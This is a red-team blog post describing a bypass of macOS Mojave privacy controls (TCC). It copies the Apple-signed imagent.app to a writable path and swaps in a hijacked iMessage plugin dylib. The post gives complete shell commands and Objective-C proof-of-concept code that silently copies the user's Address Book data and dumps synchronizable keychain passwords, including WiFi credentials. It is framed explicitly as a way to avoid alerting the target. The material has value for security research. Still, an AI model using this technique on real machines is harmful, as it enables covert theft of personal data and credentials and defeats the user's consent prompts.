« Back to home

Bypassing MacOS Privacy Controls

Posted on

Encountering Apple devices during RedTeam engagements is becoming increasingly common, so it's useful to have a few techniques available when navigating around whatever privacy or security changes are introduced with each version of MacOS.

When MacOS Mojave rolled out at the end of 2018, a set of privacy restrictions were introduced to alert a user when an application requested access to sensitive data, such as the camera, microphone, address book, calendar etc.. And as (more often than not) one of the key goals of an RedTeam engagement is to meet objectives without detection, we must be willing to work around these controls to avoid alerting the user. The last thing you want is for the target to be greeted with something like:

In this post I wanted to show a trick which may be useful in subverting these privacy controls, as well as other restrictions protecting access to functions such as the keychain.

MacOS Privacy - A Quick Primer

While hunting for a quick way around Mojave's privacy controls a while back, I wanted to understand just how the OS was triggered into displaying a privacy prompt to a user when features such as Calendar and Address Book were accessed by third-party applications. More so, I wanted to understand how Apple signed applications were able to access functionality without having to ask for the users permission. The answer to this lies within TCC, the Transparency, Consent, and Control service. Alongside the sandbox, TCC is responsible for monitoring access, as well as alerting the user upon a restricted resource being requested.

To see this in action we can do something as simple as:

ls ~/Library/Calendars

It's likely that unless you have previously approved access for your Terminal.app to access Calendars (if you have, you can reset access using tccutil reset Calendar), you will be greeted with:

Clicking Don't Allow will result in an error being to the requesting application:

Then if we look at the "Security & Privacy" preferences panel, you will see:

But what is interesting is that within this panel there is no reference to Calendar.app, which requires access to the ~/Library/Calendars directory to function. A quick review of Calendar's entitlements using the codesign tool reveals the following:

<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceReminders</string>
    <string>kTCCServiceCalendar</string>
    <string>kTCCServiceAddressBook</string>
</array>

So here we see the com.apple.private.tcc.allow entitlement, which if applied, allows access to protected resources without prompting. Each required resource is then listed within the entitlement, meaning that the Calendar.app application has access to Reminder, Calendar, and Address Book functionality, and TCC will honour this without displaying a privacy prompt to the user.

Now unfortunately we cannot simply sign our app with this entitlement, as being part of com.apple.private, they are only available to Apple signed binaries, so we'll need to find another way to grab access.

How can we subvert this?

Since the release of MacOS Mojave there have been a few posts on bypassing this control (for example, the Mac security goto Patrick Wardle posted this bypass when the Mojave was in Beta). Most methods rely on the ability to somehow control an application already signed with the required entitlements, and we will continue this trend by searching for another way to execute code within a target application.

In this post we will be targeting an application shipped with MacOS of imagent.app, found within /System/Library/PrivateFrameworks/IMCore.framework/imagent.app. If we take a look at its entitlements, we find a number of interesting access areas. First we see the ability to access the Address Book without prompting:

<key>com.apple.private.tcc.allow.overridable</key>
<array>
        <string>kTCCServiceAddressBook</string>
</array>

And as an added bonus, we see a number of Keychain access groups available to the application:

<key>keychain-access-groups</key>
<array>
        <string>ichat</string>
        <string>apple</string>
        <string>appleaccount</string>
        <string>InternetAccounts</string>
        <string>IMCore</string>
</array>

Before we start to take a look at just how we can go about controlling code execution within the application, we need to use the codesign application to validate the flags associated with the binary:

codesign -d --entitlements :- /System/Library/PrivateFrameworks/IMCore.framework/imagent.app -vv

Once executed we can see embedded metadata such as:

CodeDirectory v=20100 size=4066 flags=0x0(none) hashes=120+5 location=embedded

Flags to note when finding suitable surrogate applications would be library-validation, which indicates that only dylib's signed by Apple or the applications team ID will be loaded. Also a flag of runtime indicates that the application is using the hardened runtime which similarly will not allow us to load our arbitrary dylib's into the process.

With neither of these flags present we don't have to deal with these restrictions. By now you may be thinking, "can I can just use DYLD_INSERT_LIBRARIES to load my dylib?". Well.... no, Apple have of course considered this and if you check out the source at https://opensource.apple.com/source/dyld/dyld-655.1.1/src/dyld.cpp.auto.html, you will see that any attempts to load a dylib via environmental variables are restricted when entitlements are present.

So what other options are available to us? Well if we look at the structure of the imagent.app, we see an interesting folder of PlugIns. A quick search reveals that this is designed to allow extensibility using Bundles which will be loaded at runtime. And as our target application doesn't required signed dylibs, this potentially allows us to load arbitrary code into the signed process.

The next issue is that the imagent.app directory is located within a SIP protected path, so there is no way we are coping any files into this directory without some kind of SIP bypass. But of course there is no need, MacOS doesn't care where the application is, just that it is signed with the required entitlements, So we can just copy the application to a location where we can write to the directory.

Next up we need to know how we can get this app to load a Bundle we control. Although I'm a fan of Ghidra, Hopper still reigns supreme for me when MacOS reversing, so let's disassemble the binary and see how the PlugIns directory is used.

Hunting for references to NSBundle, it doesn't take us long to find the method of _loadServices which includes:

Here we can see the file extension that our plugin Bundle must contain, and we see that later in this function our Bundle is loaded:

Next we need to create our Plugin. We'll be lazy and search our filesystem for existing imservice plugins we can modify, with several available within /System/Library/Messages/PlugIns.

Now we have our plugin, we can copy over the required files into our writeable path which is straight forward enough:

cp -r /System/Library/PrivateFrameworks/IMCore.framework /tmp/; cp -r /System/Library/Messages/PlugIns/iMessage.imservice /tmp/IMCore.framework/imagent.app/Contents/PlugIns/

Next we need to create our dylib to be loaded. Let's start with harnessing the Address Book entitlement to retrieve a copy of the supporting files. When creating our dylib, we will use the __attribute__((constructor)) descriptor to ensure that upon loading our library, the provided code will be executed and we have a chance to exit our surrogate application without it displaying to the user. An example of how to do this would be something like:

@implementation FunkyDylib :NSObject

-(void)copyFilesFrom:(NSString *)src toPath:(NSString *)dst {
    NSFileManager *fileManager = [[NSFileManager alloc]init];
    [fileManager copyItemAtPath:src toPath:dst error:nil];
}

@end

void runPOC(void) {
    [FunkyDylib alloc] copyFilesFrom:@"/Users/xpn/Library/Application Support/AddressBook" toPath:@"/tmp/AddressBook"];
    
    NSLog(@"[*] Copy complete, check /tmp/AddressBook for data");
    
}

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    printf("IMCore PlugIns hijack POC by @_xpn_\n\n");
    
    runPOC();
    exit(0);
}

Once compiled, we simply replace the existing plugin dylib of iMessage.imservice:

cp -f funky.dylib /tmp/IMCore.framework/imagent.app/Contents/PlugIns/iMessage.imservice/Contents/MacOS/iMessage

And then we can launch imagent:

/tmp/IMCore.framework/imagent.app/Contents/MacOS/imagent

All being well, we should see that no privacy alerts are displayed, and the harvested Address Book data is copied to /tmp:

Accessing Keychain

As hinted at above, there are other interesting entitlements which we may also want to use such as Keychain access groups.

Looking within an available iCloud keychain, we see a number of items are stored including Wifi credentials, which provide the apple access group permission to retrieve credentials without prompting:

Again let's see if we can recover these credentials without alerting our user. To do this we will use the SecItemCopyMatching method to search for credentials and attempt to dump all attributes including the stored password:

@implementation FunkyDylib :NSObject

-(void)harvestKeychain {
    NSDictionary *query = @{
                            (id)kSecClass: (id)kSecClassGenericPassword,
                            (id)kSecReturnData: (id)kCFBooleanTrue,
                            (id)kSecAttrSynchronizable: (id)kCFBooleanTrue,
                            (id)kSecReturnAttributes: (id)kCFBooleanTrue,
                            (id)kSecMatchLimit: (id)kSecMatchLimitAll
                            };
    
    NSData *inData = nil;
    CFTypeRef inTypeRef = (__bridge CFTypeRef)inData;
    
    OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &inTypeRef);
    
    if(status != noErr)
    {
        printf("[!] Error with SecItemCopyMatching\n");
        return;
    }

    NSLog(@"[*] Dumping Wifi Creds from Keychain...\n\n");
    NSLog(@"%@", (__bridge id)inTypeRef);
}

@end

void runPOC(void) {
    [[FunkyDylib alloc] harvestKeychain];
}

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    printf("IMCore PlugIns hijack POC by @_xpn_\n\n");
    
    runPOC();
    exit(0);
}

We'll copy this and overwrite the iMessage plugin dylib we created previous, and hopefully when we launch imagent:

Now of course this is only an example of one application from MacOS which is susceptible to this kind of bypass, and it is also worth noting that with the pending release of MacOS Catalina, runtime hardening is a requirement for notarised applications. This likely means that the attack surface is going to be steadily reduced with adoption... but until then, happy hunting :)